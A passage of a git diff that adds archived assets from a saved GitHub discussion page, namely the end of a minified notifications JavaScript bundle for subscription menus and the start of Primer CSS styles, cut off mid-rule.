0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-emphasis: LinkText}}/*! + * @primer/css/core + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.ActionList{padding:8px}.ActionList--full{padding:0}.ActionList--subGroup{padding:0}.ActionList--divided .ActionList-item-label::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline::before{position:absolute;top:-6px;display:block;width:100%;height:1px;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--divided .ActionList-item-descriptionWrap--inline .ActionList-item-label::before{content:unset}.ActionList--divided .ActionList-item--navActive .ActionList-item-label::before,.ActionList--divided .ActionList-item--navActive+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-label::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:first-of-type .ActionList-item-descriptionWrap--inline::before,.ActionList-sectionDivider+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}.ActionList--tree{--ActionList-tree-depth: 1}.ActionList--tree .ActionList-item--subItem>.ActionList-content{font-size:14px}.ActionList--tree .ActionList-item.ActionList-item--singleton .ActionList-content{padding-left:32px}.ActionList--tree .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup{position:relative}.ActionList--tree .ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:calc(8px * var(--ActionList-tree-depth))}.ActionList--tree .ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(0deg)}.ActionList--tree .ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:rotate(-90deg)}.ActionList--tree .ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:400}.ActionList--tree .ActionList-item--hasSubItem .ActionList-item--subItem:not(.ActionList-item--hasSubItem) .ActionList-content>span:first-child{padding-left:24px}.ActionList--tree>[aria-level="1"].ActionList-item--hasSubItem>.ActionList--subGroup::before{position:absolute;left:16px;width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList--tree .ActionList-item--hasSubItem:not([aria-level="1"])>.ActionList--subGroup::before{position:absolute;left:calc(8px * (var(--ActionList-tree-depth)) + 7px);width:1px;height:100%;content:"";background:var(--color-action-list-item-inline-divider)}.ActionList-item{position:relative;list-style:none;background-color:transparent;border-radius:6px}.ActionList-item:hover,.ActionList-item:active{cursor:pointer}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):hover:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}}.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background:var(--color-action-list-item-default-active-bg)}.ActionList-item:not(.ActionList-item--hasSubItem):active:not(.ActionList-item--navActive),.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active:not(.ActionList-item--navActive){outline:solid 1px transparent;outline-offset:-1px;box-shadow:inset 0 0 0 2px var(--color-action-list-item-default-active-border)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item:not(.ActionList-item--hasSubItem):active,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{animation:ActionList-item-active-bg 4s forwards cubic-bezier(0.33, 1, 0.68, 1)}}@keyframes ActionList-item-active-bg{50%{box-shadow:inset 0 2px 12px 6px rgba(var(--color-canvas-default), 0.4);transform:scale(1)}100%{transform:scale(0.97)}}@media(hover: hover){.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item:not(.ActionList-item--hasSubItem):hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item:not(.ActionList-item--hasSubItem):hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover .ActionList-item-descriptionWrap--inline::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover+.ActionList-item .ActionList-item-descriptionWrap--inline::before{visibility:hidden}}.ActionList-item:not(.ActionList-item--hasSubItem):active .ActionList-item-label::before,.ActionList-item:not(.ActionList-item--hasSubItem):active+.ActionList-item .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active .ActionList-item-label::before,.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active+.ActionList-item .ActionList-item-label::before{visibility:hidden}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content{z-index:1}@media(hover: hover){.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--hasSubItem>.ActionList-content:active{background-color:var(--color-action-list-item-default-active-bg)}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:600}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background:var(--color-action-list-item-default-selected-bg)}@media(hover: hover){.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::before,.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)+.ActionList-item::before{visibility:hidden}.ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger)::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectCheckmark{visibility:visible;opacity:1;transition:visibility 0 linear 0,opacity 50ms}.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{visibility:visible}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=true] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-singleSelectCheckmark{animation:checkmarkIn 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-accent-fg);stroke:var(--color-accent-fg);stroke-width:1px}.ActionList-item[aria-checked=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=true] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectCheckmark{fill:var(--color-fg-on-emphasis)}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectCheckmark{visibility:hidden;opacity:0;transition:visibility 0 linear 50ms,opacity 50ms}.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{visibility:hidden;transition:visibility 0s linear 200ms;-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}@media screen and (prefers-reduced-motion: no-preference){.ActionList-item[aria-checked=false] .ActionList-item-singleSelectCheckmark,.ActionList-item[aria-selected=false] .ActionList-item-singleSelectCheckmark{animation:checkmarkOut 200ms cubic-bezier(0.11, 0, 0.5, 0) forwards}}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIcon .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);stroke:var(--color-border-default);stroke-width:1px}.ActionList-item[aria-checked=false] .ActionList-item-multiSelectIconRect,.ActionList-item[aria-selected=false] .ActionList-item-multiSelectIconRect{fill:var(--color-canvas-default);border:1px solid var(--color-border-default)}@keyframes checkmarkIn{from{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}to{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}}@keyframes checkmarkOut{from{-webkit-clip-path:inset(0 0 0 0);clip-path:inset(0 0 0 0)}to{-webkit-clip-path:inset(16px 0 0 0);clip-path:inset(16px 0 0 0)}}.ActionList-item.ActionList-item--danger .ActionList-item-label{color:var(--color-danger-fg)}.ActionList-item.ActionList-item--danger .ActionList-item-visual{color:var(--color-danger-fg)}@media(hover: hover){.ActionList-item.ActionList-item--danger:hover{background:var(--color-action-list-item-danger-hover-bg)}.ActionList-item.ActionList-item--danger:hover .ActionList-item-label{color:var(--color-action-list-item-danger-hover-text)}}.ActionList-item.ActionList-item--danger .ActionList-content:active{background:var(--color-action-list-item-danger-active-bg)}.ActionList-item .ActionList{padding:unset}.ActionList-content{position:relative;display:grid;width:100%;padding:6px 8px;font-size:14px;font-weight:400;color:var(--color-fg-default);text-align:left;-webkit-user-select:none;user-select:none;background-color:transparent;border:none;border-radius:6px;transition:background 33.333ms linear;touch-action:manipulation;touch-action:manipulation;-webkit-tap-highlight-color:transparent;grid-template-rows:min-content;grid-template-areas:"leadingAction leadingVisual label trailingVisual trailingAction";grid-template-columns:min-content min-content minmax(0, auto) min-content min-content;align-items:start}.ActionList-content>:not(:last-child){margin-right:8px}.ActionList-content:hover{text-decoration:none}.ActionList-content:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content:focus:not(:focus-visible){outline:solid 1px transparent}.ActionList-content:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.ActionList-content[aria-disabled=true] .ActionList-item-label,.ActionList-content[aria-disabled=true] .ActionList-item-description{color:var(--color-primer-fg-disabled)}.ActionList-content[aria-disabled=true] .ActionList-item-visual{fill:var(--color-primer-fg-disabled)}@media(hover: hover){.ActionList-content[aria-disabled=true]:hover{cursor:not-allowed;background-color:transparent}}@media screen and (prefers-reduced-motion: no-preference){.ActionList-content[aria-expanded]+.ActionList--subGroup{transition:opacity 160ms cubic-bezier(0.25, 1, 0.5, 1),transform 160ms cubic-bezier(0.25, 1, 0.5, 1)}}.ActionList-content[aria-expanded]+.ActionList--subGroup .ActionList-content{padding-left:24px}.ActionList-content[aria-expanded].ActionList-content--visual16+.ActionList--subGroup .ActionList-content{padding-left:32px}.ActionList-content[aria-expanded].ActionList-content--visual20+.ActionList--subGroup .ActionList-content{padding-left:36px}.ActionList-content[aria-expanded].ActionList-content--visual24+.ActionList--subGroup .ActionList-content{padding-left:40px}.ActionList-content[aria-expanded=true] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(-1)}.ActionList-content[aria-expanded=true]+.ActionList--subGroup{height:auto;overflow:visible;visibility:visible;opacity:1;transform:translateY(0)}.ActionList-content[aria-expanded=true].ActionList-content--hasActiveSubItem>.ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false] .ActionList-item-collapseIcon{transition:transform 120ms linear;transform:scaleY(1)}.ActionList-content[aria-expanded=false]+.ActionList--subGroup{height:0;overflow:hidden;visibility:hidden;opacity:0;transform:translateY(-16px)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem{background:var(--color-action-list-item-default-selected-bg)}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem .ActionList-item-label{font-weight:600}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::before,.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem+.ActionList-item::before{visibility:hidden}.ActionList-content[aria-expanded=false].ActionList-content--hasActiveSubItem::after{position:absolute;top:calc(50% - 12px);left:-8px;width:4px;height:24px;content:"";background:var(--color-accent-fg);border-radius:6px}.ActionList-content.ActionList-content--sizeMedium{padding:10px 8px}.ActionList-content.ActionList-content--sizeLarge{padding:14px 8px}.ActionList-content.ActionList-content--fontSmall{font-size:12px}@media(pointer: coarse){.ActionList-content{padding:14px 8px}}.ActionList-content.ActionList-content--blockDescription .ActionList-item-visual{place-self:start}.ActionList-item-action--leading{grid-area:leadingAction}.ActionList-item-visual--leading{grid-area:leadingVisual}.ActionList-item-label{grid-area:label}.ActionList-item-visual--trailing{grid-area:trailingVisual}.ActionList-item-action--trailing{grid-area:trailingAction}.ActionList-item-descriptionWrap{grid-area:label;display:flex;flex-direction:column}.ActionList-item-descriptionWrap .ActionList-item-description{margin-top:4px}.ActionList-item-descriptionWrap .ActionList-item-label{font-weight:600}.ActionList-item-descriptionWrap--inline{position:relative;flex-direction:row;align-items:baseline}.ActionList-item-descriptionWrap--inline .ActionList-item-description{margin-left:8px}.ActionList-item-description{font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted)}.ActionList-item-visual,.ActionList-item-action{display:flex;min-height:20px;color:var(--color-fg-muted);pointer-events:none;fill:var(--color-fg-muted);align-items:center}.ActionList-item-label{position:relative;font-weight:400;line-height:20px;color:var(--color-fg-default)}.ActionList-item-label--truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ActionList-item--subItem>.ActionList-content{font-size:12px}.ActionList-sectionDivider:not(:empty){display:flex;padding:6px 8px;font-size:12px;font-weight:600;color:var(--color-fg-muted);flex-direction:column}.ActionList-sectionDivider:empty{display:block;height:1px;padding:0;margin:7px -8px 8px;list-style:none;background:var(--color-action-list-item-inline-divider);border:0}.ActionList-sectionDivider .ActionList-sectionDivider-title{font-size:12px;font-weight:600;color:var(--color-fg-muted)}.ActionList-sectionDivider--filled{margin:8px -8px;background:var(--color-canvas-subtle);border-top:1px solid var(--color-action-list-item-inline-divider);border-bottom:1px solid var(--color-action-list-item-inline-divider)}.ActionList-sectionDivider--filled:empty{height:8px;box-sizing:border-box}.ActionList-sectionDivider--filled:first-child{margin-top:0}/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video{display:inline-block}audio:not([controls]){display:none;height:0}progress{vertical-align:baseline}template,[hidden]{display:none !important}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background-color:var(--color-attention-subtle);color:var(--color-text-primary)}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}svg:not(:root){overflow:hidden}code,kbd,pre,samp{font-family:monospace;font-size:1em}figure{margin:1em 40px}hr{box-sizing:content-box;height:0;overflow:visible}button,input,select,textarea{font:inherit;margin:0}optgroup{font-weight:600}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[type=reset],[type=submit]{-webkit-appearance:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]::-webkit-search-cancel-button,[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-input-placeholder{color:inherit;opacity:.54}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}*{box-sizing:border-box}input,select,textarea,button{font-family:inherit;font-size:inherit;line-height:inherit}body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:14px;line-height:1.5;color:var(--color-fg-default);background-color:var(--color-canvas-default)}a{color:var(--color-accent-fg);text-decoration:none}a:hover{text-decoration:underline}b,strong{font-weight:600}hr,.rule{height:0;margin:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--color-border-muted)}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}button{cursor:pointer;border-radius:0}[hidden][hidden]{display:none !important}details summary{cursor:pointer}details:not([open])>*:not(summary){display:none !important}a,button,[role=button],input[type=radio],input[type=checkbox]{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}a:focus,button:focus,[role=button]:focus,input[type=radio]:focus,input[type=checkbox]:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:focus:not(:focus-visible),button:focus:not(:focus-visible),[role=button]:focus:not(:focus-visible),input[type=radio]:focus:not(:focus-visible),input[type=checkbox]:focus:not(:focus-visible){outline:solid 1px transparent}a:focus-visible,button:focus-visible,[role=button]:focus-visible,input[type=radio]:focus-visible,input[type=checkbox]:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}a:not([class]):focus,a:not([class]):focus-visible,input[type=radio]:focus,input[type=radio]:focus-visible,input[type=checkbox]:focus,input[type=checkbox]:focus-visible{outline-offset:0}.focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}@media(forced-colors: active){*:focus,*:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visible,select:focus,select:focus-visible{outline-offset:2px}}kbd{display:inline-block;padding:3px 5px;font:11px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;line-height:10px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-subtle);border:solid 1px var(--color-neutral-muted);border-bottom-color:var(--color-neutral-muted);border-radius:6px;box-shadow:inset 0 -1px 0 var(--color-neutral-muted)}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0}h1{font-size:32px;font-weight:600}h2{font-size:24px;font-weight:600}h3{font-size:20px;font-weight:600}h4{font-size:16px;font-weight:600}h5{font-size:14px;font-weight:600}h6{font-size:12px;font-weight:600}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,ul ol ol,ol ul ol,ol ol ol{list-style-type:lower-alpha}dd{margin-left:0}tt,code,samp{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}pre{margin-top:0;margin-bottom:0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.octicon{vertical-align:text-bottom}.octicon{display:inline-block;overflow:visible !important;vertical-align:text-bottom;fill:currentColor}.Box{background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-radius:6px}.Box--condensed{line-height:1.25}.Box--condensed .Box-header{padding:8px 16px}.Box--condensed .Box-body{padding:8px 16px}.Box--condensed .Box-footer{padding:8px 16px}.Box--condensed .Box-btn-octicon.btn-octicon{padding:8px 16px;margin:-8px -16px;line-height:1.25}.Box--condensed .Box-row{padding:8px 16px}.Box--spacious .Box-header{padding:24px;line-height:1.25}.Box--spacious .Box-title{font-size:20px}.Box--spacious .Box-body{padding:24px}.Box--spacious .Box-footer{padding:24px}.Box--spacious .Box-btn-octicon.btn-octicon{padding:24px;margin:-24px -24px}.Box--spacious .Box-row{padding:24px}.Box-header{padding:16px;margin:-1px -1px 0;background-color:var(--color-canvas-subtle);border-color:var(--color-border-default);border-style:solid;border-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box-title{font-size:14px;font-weight:600}.Box-body{padding:16px;border-bottom:1px solid var(--color-border-default)}.Box-body:last-of-type{margin-bottom:-1px;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row{padding:16px;margin-top:-1px;list-style-type:none;border-top-color:var(--color-border-muted);border-top-style:solid;border-top-width:1px}.Box-row:first-of-type{border-top-left-radius:6px;border-top-right-radius:6px}.Box-row:last-of-type{border-bottom-right-radius:6px;border-bottom-left-radius:6px}.Box-row.Box-row--unread,.Box-row.unread{box-shadow:inset 2px 0 0 var(--color-accent-emphasis)}.Box-row.navigation-focus .Box-row--drag-button{color:var(--color-accent-fg);cursor:grab;opacity:100}.Box-row.navigation-focus.is-dragging .Box-row--drag-button{cursor:grabbing}.Box-row.navigation-focus.sortable-chosen{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost{background-color:var(--color-canvas-subtle)}.Box-row.navigation-focus.sortable-ghost .Box-row--drag-hide{opacity:0}.Box-row--focus-gray.navigation-focus{background-color:var(--color-canvas-subtle)}.Box-row--focus-blue.navigation-focus{background-color:var(--color-accent-subtle)}.Box-row--hover-gray:hover{background-color:var(--color-canvas-subtle)}.Box-row--hover-blue:hover{background-color:var(--color-accent-subtle)}@media(min-width: 768px){.Box-row-link{color:var(--color-fg-default);text-decoration:none}.Box-row-link:hover{color:var(--color-accent-fg);text-decoration:none}}.Box-row--drag-button{opacity:0}.Box-footer{padding:16px;margin-top:-1px;border-top-color:var(--color-border-default);border-top-style:solid;border-top-width:1px;border-radius:0 0 6px 6px}.Box--scrollable{max-height:324px;overflow:scroll}.Box--blue{border-color:var(--color-accent-muted)}.Box--blue .Box-header{background-color:var(--color-accent-subtle);border-color:var(--color-accent-muted)}.Box--blue .Box-body{border-color:var(--color-accent-muted)}.Box--blue .Box-row{border-color:var(--color-accent-muted)}.Box--blue .Box-footer{border-color:var(--color-accent-muted)}.Box--danger{border-color:var(--color-danger-emphasis)}.Box--danger .Box-row:first-of-type{border-color:var(--color-danger-emphasis)}.Box--danger 